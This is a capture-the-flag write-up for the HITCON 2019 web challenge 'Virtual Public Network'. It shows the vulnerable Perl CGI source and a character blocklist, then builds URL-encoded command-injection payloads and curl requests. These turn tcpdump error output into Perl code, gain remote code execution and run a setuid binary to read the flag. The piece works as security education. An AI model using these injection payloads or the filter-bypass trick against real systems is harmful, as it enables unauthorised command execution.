[Web] Hitcon 2019 - Virtual Public Network

Virtual Public Network [183pts]

Vulnerable Point of Your Network :)

http://13.231.137.9

Author: 🍊Orange

81 Teams solved.

We have have a web interface where we can control tcpdump command via options parameter this immediately hints for a command injection challenge, after inspecting the code we could see some hints in a html comment:

1
2
3
4
5
6
7
8
9
10
11
12
13
    <div class='container'>
<br>
<br>
<div class='row justify-content-center'>
<h1><font style="font-size: 200%"> Virtual <b><font color=red>"Public"</font></b> Network </font></h1>
</div>

<!-- Hint for you :)
<a href='diag.cgi'>diag.cgi</a>
<a href='DSSafe.pm'>DSSafe.pm</a> -->
<br>
<br>
<div class='row justify-content-center'>

Cgi scripts outside cgi-bin folder won’t execute instead we will be able to view its source code so lets inspect diag.cgi first:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/perl
use lib '/var/www/html/';
use strict;

use CGI ();
use DSSafe;


sub tcpdump_options_syntax_check {
my $options = shift;
return $options if system("timeout -s 9 2 /usr/bin/tcpdump -d $options >/dev/null 2>&1") == 0;
return undef;
}

print "Content-type: text/html\n\n";

my $options = CGI::param("options");
my $output = tcpdump_options_syntax_check($options);


# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
$tpl = "./tmp/" . $tpl . ".thtml";
require($tpl);
}

This would be a very easy challenge if it wasn’t for use DSSafe; after some search online I ended up at the challenge author blog as he said this is a module to hook all dangerous Perl invocations like system, open, backtick etc…

This module is called it’s source code at http://13.231.137.9/DSSafe.pm:

The full source code can be found at https://pastebin.com/EyY7UWAX

This module replaces the original system and implements its own command line parser which blocks some bad characters like:

1
[\&\*\(\)\{\}\[\]\`\;\|\?\n~<>]

So the idea behind to bypass this restritions is to run perl script via strerr by using tcpdump ‘-r’ option, this option tries to read a file and this is what happens when we try to read a file that doesn’t exist with tcpdump:

1
2
$ tcpdump -d -r 123
tcpdump: 123: No such file or directory

As you can see we can control the file name (123) so we can use the name to inject our perl code, but we have two aditional parts to consider so we don’t get errors while running it this error message.

The first one is the tcpdump: part luckly in perl this will interpreted as a goto jump label this is something that you can do also in c or on assembly(labels where we can jump to) we won’t have any compilation problems with this so lets move on.

The second one is : No such file or directory this won’t compile unless we remove by using a comment just like we do when we are performing sql injection, so lets test if this works in the command line:

1
2
$ tcpdump -d -r 'print 123#' 2>&1 | perl -
123

As you can see it works here is a visual image from orange blog how the perl script looks like in a highlighter:

We can’t really control stdout in the application so we need to redirect the stderr into a file and use the backdoor present here:

1
2
3
4
5
6
# backdoor :)
my $tpl = CGI::param("tpl");
if (length $tpl > 0 && index($tpl, "..") == -1) {
$tpl = "./tmp/" . $tpl . ".thtml";
require($tpl);
}

So if we send our payload to a file at ./tmp and pass the file name to tpl get parameter, require will execute as perl and we get RCE.

Our final payload will require a < in the end to fool DSSAFE.pm and redirect STDERR into a folder that we can write and read, this folder is ./tmp :

1
-r$x="ls /",exec$x# 2>./tmp/qw.thtml <&tpl=qw

And now url encoding the string:

1
-r$x="ls%20/",exec$x%23%202>./tmp/qw.thtml%20<&tpl=qw

Adding some backslashes to dolar sign so the variable isn’t evaluated as a bash variable:

1
-r\$x="ls%20/",exec\$x%23%202>./tmp/qw.thtml%20<&tpl=qw

Using curl to test our payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
$ curl "http://13.231.137.9/cgi-bin/diag.cgi?options=-r\$x=\"ls%20/\",exec\$x%23%202>./tmp/qw.thtml%20<&tpl=qw"
$READ_FLAG$
FLAG
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old

And it worked we managed to run ls, but we now see $READ_FLAG$ which is an executable and the file FLAG containing the flag , we don’t rights to read directly only root can, our user is www-data, but if we manage to run the executable $READ_FLAG$ (setuid bit is enabled so it will run as root which is the file owner).

I run into some problems because of the file name there is some shitty symbols($) so we need to do some tricks to be able to execute:

  • Backslash with \x5c dolar signs so they won’t be interpreted as a bash variable.
  • Write dolar signs as \x24 so they won’t be interpreted as a perl variable in a double quoted string.
  • Use sh -c ‘executable’ to execute the binary.

The final payload without url encoding looks like this:

1
-r\$x=\"sh -c '/\x5c\x24READ_FLAG\x5c\x24'",exec\$x# 2>./tmp/qw.thtml <&tpl=qw

With url encoding:

1
-r\$x=\"sh%20-c%20'/\x5c\x24READ_FLAG\x5c\x24'\",exec\$x%23%202>./tmp/qw.thtml%20&tpl=qw

Running with curl:

1
2
$ curl "http://13.231.137.9/cgi-bin/diag.cgi?options=-r\$x=\"sh%20-c%20'/\x5c\x24READ_FLAG\x5c\x24'\",exec\$x%23%202>./tmp/qw.thtml%20<&tpl=qw"
hitcon{Now I'm sure u saw my Bl4ck H4t p4p3r :P}

The flag was:

References: